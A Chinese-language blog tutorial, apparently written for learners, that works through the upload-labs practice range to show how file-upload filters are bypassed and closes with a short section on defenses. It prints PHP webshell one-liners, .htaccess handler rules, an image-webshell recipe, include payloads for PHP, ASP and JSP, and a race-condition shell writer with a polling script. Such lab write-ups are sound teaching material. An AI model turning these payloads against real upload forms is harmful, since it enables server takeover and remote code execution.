初识文件上传

文件上传及验证绕过

文件上传就是用户通过上传点上传了恶意文件,经过服务器的检查后,保存在特定的位置,当用户访问已经上传成功的恶意文件时,web端的浏览器进行解析恶意的代码,造成危。
重点是能够上传并被保存,且能被执行

下面的绕过通过upload—labs靶场进行实现
docker pull cuer/upload-labs
docker run -d -p 8083:80 cuer/upload-labs /bin/bash

1.常见的上传点

  • 上传头像和图片
  • 上传附件
  • 上传相册
  • 留言板上传文件
  • 编辑器上传文件

2.客户端-js绕过(pass-01)在这里插入图片描述

通过分析上面的代码我们发现,第一采用java进行前端验证,我们可以利用burp抓包修改或者前端禁用js

2.1禁用js

直接上传php文件,失败
在这里插入图片描述
我们禁用js,成功了且里面的php语句<?php eval(@$_GET['a']);?>可以执行,这里(推荐火狐浏览器F12->F1-勾选禁用js)
在这里插入图片描述
返回空白页面说明执行成功
在这里插入图片描述
我们利用蚁剑实现getshell发现报错了,因为这里的木马采用的是get型的请求
在这里插入图片描述
换post型木马进行实验
在这里插入图片描述

注意这里我们必须要保证文件的后缀名,因为只有后缀名成立,里面的脚本内容才能生效,例如在.png文件的语句是不能正常生效的

2.2后缀名绕过

将木马语句写在.jpg后缀文件中,上传过程中用bp修改后缀名为.php
在这里插入图片描述
成功!
在这里插入图片描述

2.3修改前端代码

只在火狐浏览器生效,前端的check_file会调用语句实现对文件类型的过滤我们尝试删掉它
在这里插入图片描述
成功!
在这里插入图片描述

3.服务器黑名单绕过

3.1特殊可解析后缀(upload-03)

通过观察靶场代码,我们发现这是在服务器后端设置的简单黑名单过滤有(.asp/.aspx/.php/.jsp)
在这里插入图片描述
针对这种情况我们可以更换特殊的后缀名来保证木马的功能如:.phtml/.phps/.pht./.php5(这种类型的文件被当作php执行需要满足在Apache的httpd.conf下有如下配置AddType application/x-httpd-php .php .phtml .phps .php5 .pht)

上传成功!
在这里插入图片描述

3.2大小写绕过(upload-06)

通过查看代码发现,尽管网站对常见的后缀名做了处理,但没有处理大小写,我们可以大小写混用Php进行绕过
在这里插入图片描述
成功!
在这里插入图片描述

3.3点绕过(upload-08)

通过分析代码发现,没有对代码的点做处理,我们可以在文件名后加.进行绕过.php.
在这里插入图片描述
在这里我们会遇到一个问题,在后缀加.后系统会自动删除,所以我们抓包在bp加点,保存后会在服务端自动删除,在linux中是不会自动去点的,但部分Linux搭配中间件可以实现

成功!
在这里插入图片描述

3.4空格绕过(upload-07)

通过本关的代码分析,对代码检查的操作没有去除空格,在文件的后缀加上空格进行上传。windows中会自动删除空格。
在这里插入图片描述
在这里插入图片描述
成功!

在这里插入图片描述

3.5::DATA绕过(upload-9)

首先要了解一下::DATA是什么
在window中如果文件名+::DATA会将::DATA后面的部分当作文件流处理,不会检查后缀名,且保持前面的后缀名
比如:phpinfo.php::DATA,在windows中会自动去掉::DATA变成phpinfo.php
在这里插入图片描述
在这里插入图片描述

成功!
在这里插入图片描述

3.6配合解析绕过(upload-10)

顾名思义将绕过方法混合使用,适合本题这种类型(后缀名,大小写,空格,点,::DATA都有所限制但只循环过滤依次)
在这里插入图片描述
我们构建一个混合的后缀名:…::DATA
成功!
在这里插入图片描述

3.7 .htaccess文件绕过(upload-4)

先了解一下什么是.htaccess规则文件

它也叫作分布式配置文件,是Apache中的一个配置文件,它负责相关目录下的网页设置,通过它我们可以实现网页301重定向,自定义404错误页面,改变文件的扩展名,允许或者阻止特定的用户或者目录的访问,禁止目录列表,配置默认文档等

使用该文件的前提条件
1.mod_rewrite模块开启
2.ALLowOverride ALL

利用思路,我们在条件满足时,在特定的目录中放置一个包含或者多条规则指令的.htaccess文件,作用在该目录和其子目录中,实现对黑名单的绕过

对本题的代码分析,发现吗,一般的绕过方法都受限,且黑名单较为丰富,但没有过滤.htaccuess
在这里插入图片描述
我们依次上传.htaccess文件(一定不能起名)xxx.xxx(后缀必须不在黑名单里)

.htaccess文件构成:
(1)将mmm.jpg单个文件实现转化php功能

<FilesMatch "mmm.jpg">
Sethandler application/x-httpd-php
</FilesMatch>

(2)将所有符合条件的文件实现转化php功能

<IfModule mime_module>
SetHandler application/x-httpd-php
</IfModule>

我们将文件依次上传
在这里插入图片描述
成功了!欧耶
在这里插入图片描述

3.8双写后缀名绕过(upload-11)

从题目的代码看能过滤的它都上了,任何一个匹配的后缀名都会被替换为空,但只循环依次,因此我们可以双鞋后缀或者可以理解为,在一个php中包含一个php(完整的)比如:.phphpp过滤后只剩下.php
在这里插入图片描述
成功!
在这里插入图片描述

4.服务端白名单的绕过

4.1MIME类型检测绕过(upload-02)

首先了解一下什么是MIME类型,它是一种用于标识和描述互联网上数据类型的标准方法,由主类型和子类型组成,主类型用于表示用户的大类别比如说:文本图像,音频,视频等,子类型则更详细的描述数据的类型,比如一个html文件的MIME类型通常是text/html
我们用bp抓包后content-type显示的就是MIME类型

首先我们分析代码,发现该题使用白名单过滤,只允许.jpeg .png .gif文件通过,那我们修改后缀的策略就失效了,并且还要保证后缀的完整性,所以采用bp抓包修改MIME类型的方法
在这里插入图片描述
在这里插入图片描述
上传成功
在这里插入图片描述

4.2 00截断绕过

首先了解一下什么是00截断,这是操作系统层面的漏洞,由于操作系统是c或者汇编语言编写的,这两种语言在定义字符串时都以\0作为字符串的结尾,也称\0为字符串结束符,它后面的字符串不会被识别

特别注意:
\0是经过解析后到达操作系统时的表现形式,我们在前端使用时要使用%00或者0x00(操作系统安照16进制读取文件内容时使用)

举例:
https://www.baidu.com/upload/aaa.php%00bbb.jpg
服务器接收时直接对%00进行解码,后面的部分被截断,传输到服务器的是aaa.jpg

截断条件:
1.php版本小于5.3.4
2.php.ini的magic_quotes_gpc为off状态

接下来我们搭建环境进行实验:
windows+phpstudy2018(选择此版本的原因是最新版本不能安装php5.2版本)

在虚拟机中安装phpstudy
在这里插入图片描述
修改配置
在这里插入图片描述
修改php.ini的magic_quotes_gpc为off状态
在这里插入图片描述
搭建网站:选择网站的根目录
在这里插入图片描述
把upload的源码放在网站的根目录下
在这里插入图片描述
启动靶场成功
在这里插入图片描述
接下来我们上传文件,上传一张包含post木马的.png图片,利用bp抓包,在save_path中增加文件名1.php%00
在这里插入图片描述

成功!
在这里插入图片描述

用蚁剑连接,只能说脚本有点菜上传后给我杀了好几次
在这里插入图片描述
注意:
00截断只能用在路径中,可以是get的路径也可以是post的路径

5.服务端内容检查

5.1文件头内容检查

服务端会对我们上传的文件进行内容的检查,转换为16进制形式时,不同的文件类型会对应不同的16进制头,我们更改后缀名时也不会造成影响。

这里我们要安装一下010editor这个工具,用于显示各种文件的16进制。
在这里插入图片描述
这里我们拖入两张.jpg图片其中一张我们手动把后缀改成.png看看怎么样
在这里插入图片描述
在这里插入图片描述
各种图片类型对应的16进制头
.jpg FF D8 FF E0 00 10 4A 46 49 46
.gif 47 49 46 38 39 61
.png 89 50 4E 47

通过上面两张图片的转换结果,我们发现尽管更改了后缀名,但他们的实质内容都是jpg类型

下面介绍三种制作图片马(包含一句话木马的图片)的方法:
1.windows系统文件拼接:copy /a 1.png + /b 2.php = 3.png
可以参考该篇博客:https://blog.csdn.net/weixin_45663905/article/details/107140068
制作完成的图片马
在这里插入图片描述

2.在真实图片中添加一句话木马,在文本处输入16进制会自动填充,且保存后不会影响正常的使用(使用bp添加)
在这里插入图片描述

3.在真实脚本的头部添加图片的文件头(.png 89 50 4E 47)
在这里插入图片描述
开始练习靶场,通过本题的代码我们发现该题会读取16进制内容的前两个字节,且上传要满足.jpg .png .gif的格式才能同过

这里我们上传提前制作好的图片马
在这里插入图片描述
但我们保存的文件是,jpg文件无法直接使用,所以我们利用脚本包含(加载和解析)这张图片,从而执行图片中的木马,实现攻击
例如:访问http://118.89.145.124:8083/include.php?file=upload/5120240331074619.jpg
成功!
在这里插入图片描述

在这里插入图片描述
我们用蚁剑进行连接,成功!
在这里插入图片描述
注意:图片马要搭配文件包含漏洞来使用

5.2突破getimagesize和exif_imagetype(upload_15)

先看代码,发现本体并没有检查上传文件的具体内容等,而是使用getimagesize函数进行筛选
先了解一下getimagesize函数,该函数是用来获取文件类型是不是图片的,比如图片的长度和宽度等,这时候我们需要上传真的图片,利用bp添加木马
在这里插入图片描述
这里我们任然使用制造号的图片马,但第三种方法制作的不能生效,因为它不具有真实的文件格式
在这里插入图片描述浅浅利用一下:
在这里插入图片描述

(upload-16)通过观察本题的代码我们可以发现是利用了exif_imagetype函数进行过滤
可以使用制作好的图片马进行绕过
在这里插入图片描述

5.3二次渲染绕过

先了解下什么叫做二次渲染,就是根据用户上传的图片,生成一个新的图片并将旧的图片删除,将新的图片添加到数据库中。

接下来用两组图片直观的感受一下
首先等场的是我们的gif:利用010editor的对比功能查看经过二次渲染后会发生什么变化
在这里插入图片描述
发生变化的是红色部分,在经过渲染的gif中存在许多没有发生改变的地方

接着我们看一下jpg是什么样的
在这里插入图片描述
我们明显发现jpg经过二次渲染过后,改动的地方特别多在利用二次渲染进行绕过时,我们需要在图片未改动的地方上传一句话木马,所以选择改动较少的gif

这里我们在gif未修改的地方添加一句话木马
在这里插入图片描述
将修改后的gif重新生成一张gif
在这里插入图片描述
我们将包含木马的gif进行上传,上传成功
在这里插入图片描述
对上传的文件进行文件包含利用

5.4文件包含绕过

前提:检验规则只对后缀名为asp/php/jsp的文件内容是否为木马
绕过方式:以php为例,因为文件包含通常出现在php文件中
(1)先上传一个内含php木马的.txt文件,服务器不会对该文件做检验
(2)接着上传.php文件,文件的内容为:<?php include(“上传的txt文件的路径”) >
因为该php使用的功能是正常的包含调用功能,所以可以通过检测

其他语言的调用方法:

#ASP
<!--#include file="上传的txt文件路径" --><!--#include file="上传的txt文件路径" -->
#JSP
<jsp:include page=“上传的txt文件路径”/> or <%@include file=“上传的txt文件路径”%>

6.代码逻辑(条件竞争)

首先了解一下什么是条件竞争上传,这是一种服务器的漏洞,由于后端程序操作逻辑不合理导致的,因为在处理用户的请求时是并发执行的,如果处理不当或者顺序混乱会造成这个问题

绕过思路是创建两个文件,一个文件包含脚本不断地向服务器进行上传,令一个文件不断的访问我们上传的文件,找到服务器删除的间隙,令两个文件可能相遇

利用fopen创建shell.php文件,再利用fputs将一句话木马写入创建的shell.php

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["magedu"])?>');?>

现在我们使用bp实现不停的发送包
上传我们需要上传的包,进行抓包,发送到intruder模块,在代码最后设值攻击点值为空
在这里插入图片描述
采取null payloads策略,并设置一直上传在这里插入图片描述
开始不间断发送
在这里插入图片描述
接下来我们写一个python脚本实现对该文件的不间断访问

import requests
url = "http://42.192.37.16:8082/upload/cs.php"
while True:
	html = request.get(url)
	if html.status_code == 200:
		print("ok")
		break

7.漏洞防御

7.1判断文件类型(解决能不能传的问题)

在判断文件类型时,可以结合使用MIME Type、后缀检查等方式。在文件类型检查中,强烈推荐白名单方式,黑名单的方式已经无数次被证明是不可靠的。此外,对于图片的处理,可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的HTML代码。

7.2使用随机数改写文件名和文件路径(传到了哪里)

文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果应用了随机数改写了文件名和路径,将极大地增加攻击的成本。再来就是像shell.php.rar.rar和crossdomain.xml这种文件,都将因为重命名而无法攻击。

7.3文件上传的目录设置为不可执行(能不能用)

只要Web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响。

7.4使用安全设备防御

文件上传攻击的本质就是将恶意文件或者脚本上传到服务器,专业的安全设备防御此类漏洞主要是通过对漏洞的上传利用行为和恶意文件的上传过程进行检测。恶意文件千变万化,隐藏手法也不断推陈出新,对普通的系统管理员来说可以通过部署安全设备来帮助防御。

  • 8
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值